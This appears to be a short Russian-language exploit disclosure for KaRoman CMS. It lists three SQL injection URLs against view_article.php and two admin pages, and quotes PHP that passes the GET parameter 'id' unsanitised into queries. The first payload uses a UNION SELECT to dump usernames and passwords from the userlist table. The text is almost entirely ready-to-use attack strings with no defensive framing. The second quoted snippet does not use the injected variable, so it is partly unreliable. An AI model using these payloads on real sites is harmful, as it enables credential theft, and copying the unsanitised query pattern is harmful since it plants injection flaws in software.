KaRoman CMS
http://sourceforge.net/projects/karoman/


SQL-инъекция(mq == off):

./view_article.php?id=0'+union+select+1,concat(user, 0x3a,pass),3,4,5,6,7,8+FROM+userlist--+

PHP код:

...

if (isset($_GET['id'])) {$id = $_GET['id'];}

$result = mysql_query("SELECT * FROM articles WHERE id='$id'",$db); // Выбираем нужные таблицы

... 


SQL-иньекция(права администратора):

./admin/settings.php?id=100500+union+select+1,2,3,4,5,6

PHP код:

...

if (isset($_GET['id'])) {$id = $_GET['id'];}

$result = mysql_query("SELECT title,id FROM settings");      

... 


SQL-иньекция(права администратора):

./admin/edit_art.php?id=100500+union+select+1,2,3,4,5,6,7, 8

PHP код:

...

if (isset($_GET['id'])) {$id = $_GET['id'];}

$result = mysql_query("SELECT * FROM articles WHERE id=$id");

...